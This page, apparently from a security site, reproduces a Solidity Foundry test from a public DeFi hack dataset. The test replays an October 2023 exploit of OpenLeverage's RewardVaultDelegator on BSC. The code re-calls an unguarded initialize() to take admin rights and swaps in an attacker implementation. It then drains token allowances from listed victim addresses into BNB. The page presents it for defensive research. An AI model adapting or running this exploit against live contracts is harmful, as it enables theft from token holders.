Skip to content
THREATWIRE

Public reproduction file

src/test/2023-10/OpenLeverage_exp.sol

Public reproduction file for dataset entry OpenLeverage.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-10/OpenLeverage_exp.sol129 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$8K
8// Attacker : https://bscscan.com/address/0x8ebd046992afe07eacce6b9b3878fdb45830f42b
9// Attack Contract : https://bscscan.com/address/0x5366c6ba729d9cf8d472500afc1a2976ac2fe9ff
10// Vuln Contract : https://bscscan.com/address/0x7bacb1c805cbbf7c4f74556a4b34fde7793d0887
11// Attack Tx : https://bscscan.com/tx/0xd88f26f2f9145fa413db0cfd5d3eb121e3a50a3fdcee16c9bd4731e68332ce4b
13// @Analysis
14// https://defimon.xyz/exploit/bsc/0x5366c6ba729d9cf8d472500afc1a2976ac2fe9ff
16interface IRewardVaultDelegator {
17 function initialize(address bnftRegistry, address vrfCoordinator, uint64 subscriptionId) external;
19 function setImplementation(
20 address implementation
21 ) external;
23 function admin() external view returns (address);
25 function a(
26 address addr
27 ) external;
30contract ContractTest is Test {
31 IRewardVaultDelegator private constant RewardVaultDelegator =
32 IRewardVaultDelegator(0x7bACB1c805CbbF7c4f74556a4B34FDE7793d0887);
33 Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
34 IERC20 private constant RACA = IERC20(0x12BB890508c125661E03b09EC06E404bc9289040);
35 IERC20 private constant BUSDT = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
36 IERC20 private constant FLOKI = IERC20(0xfb5B838b6cfEEdC2873aB27866079AC55363D37E);
37 IERC20 private constant OLE = IERC20(0xa865197A84E780957422237B5D152772654341F3);
38 IERC20 private constant CSIX = IERC20(0x04756126F044634C9a0f0E985e60c88a51ACC206);
39 IERC20 private constant BABY = IERC20(0x53E562b9B7E5E94b81f10e96Ee70Ad06df3D2657);
40 address private constant openLeverageDeployer = 0xE9547CF7E592F83C5141bB50648317e35D27D29B;
41 address private constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
43 function setUp() public {
44 vm.createSelectFork("bsc", 32_820_951);
45 vm.label(address(RewardVaultDelegator), "RewardVaultDelegator");
46 vm.label(address(Router), "Router");
47 vm.label(address(RACA), "RACA");
48 vm.label(address(BUSDT), "BUSDT");
49 vm.label(address(FLOKI), "FLOKI");
50 vm.label(address(OLE), "OLE");
51 vm.label(address(CSIX), "CSIX");
52 vm.label(address(BABY), "BABY");
53 vm.label(openLeverageDeployer, "openLeverageDeployer");
54 vm.label(WBNB, "WBNB");
55 }
57 function testExploit() public {
58 deal(address(this), 0 ether);
59 emit log_named_decimal_uint("Attacker BNB balance before exploit", address(this).balance, 18);
61 assertEq(openLeverageDeployer, RewardVaultDelegator.admin());
62 emit log_named_address("Original admin address (Open Leverage Deployer)", RewardVaultDelegator.admin());
64 // Valid initialize function should have implemented check which restrict function to be called only once
65 // 'initialize()' sets admin variable in RewardVaultDelegator contract
66 RewardVaultDelegator.initialize(address(this), address(this), uint64(1));
68 assertEq(address(this), RewardVaultDelegator.admin());
69 emit log_named_address(
70 "Admin address after calling initialize func (admin change)", RewardVaultDelegator.admin()
71 );
73 // setImplementation func have 'onlyAdmin' modifier and at this step attacker can bypass this check
74 RewardVaultDelegator.setImplementation(address(this));
76 // Calling 'a' will make delegatecall to this contract (implementation contract)
77 RewardVaultDelegator.a(address(this));
79 emit log_named_decimal_uint("Attacker BNB balance after exploit", address(this).balance, 18);
80 }
82 function transferFromAndSwapTokensToBNB(address from, address token, address to) internal {
83 IERC20(token).approve(address(Router), type(uint256).max);
85 if (from != address(0)) {
86 uint256 transferAmount = IERC20(token).balanceOf(from);
87 uint256 allowance = IERC20(token).allowance(from, address(RewardVaultDelegator));
88 if (allowance < transferAmount) {
89 transferAmount = allowance;
90 }
92 IERC20(token).transferFrom(from, address(this), transferAmount);
93 }
95 address[] memory path = new address[](2);
96 path[0] = token;
97 path[1] = WBNB;
98 Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
99 IERC20(token).balanceOf(address(this)), 0, path, to, block.timestamp + 1000
100 );
101 }
103 function a(
104 address addr
105 ) external {
106 address[] memory victims = new address[](6);
107 address[] memory tokens = new address[](6);
109 victims[0] = 0x2aB372EFd0eE550c1cca6459DDCD45Ba783B242B;
110 victims[1] = 0xe83c6E8FeeDDE85E72E810f82ee0943aa14Ed2f6;
111 victims[2] = 0x0D413496d1cb149B1526609363359ED398741901;
112 victims[3] = 0x3BD0FeC7243B1ba658FAF4bC22663b5AdC04CF04;
113 victims[4] = 0x2C8EEDA98a84a393e2DB66B013A0cDCA2F3693f2;
114 victims[5] = address(0);
116 tokens[0] = address(RACA);
117 tokens[1] = address(BUSDT);
118 tokens[2] = address(FLOKI);
119 tokens[3] = address(OLE);
120 tokens[4] = address(CSIX);
121 tokens[5] = address(BABY);
123 for (uint8 i; i < victims.length; ++i) {
124 transferFromAndSwapTokensToBNB(victims[i], tokens[i], addr);
125 }
126 }
128 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “OpenLeverage” (2023-10-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x8ebd046992afe07eacce6b9b3878fdb45830f42b

  • Attack Contract

    0x5366c6ba729d9cf8d472500afc1a2976ac2fe9ff

  • Attack Tx

    0xd88f26f2f9145fa413db0cfd5d3eb121e3a50a3fdcee16c9bd4731e68332ce4b

File record

Name
OpenLeverage
Path
src/test/2023-10/OpenLeverage_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
94a47f0835975dacca71007e8715965285a28529
Language
Solidity
Size
130 lines
Date
2023-10-22
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-10/OpenLeverage_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 94a47f0835975dacca71007e8715965285a28529, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.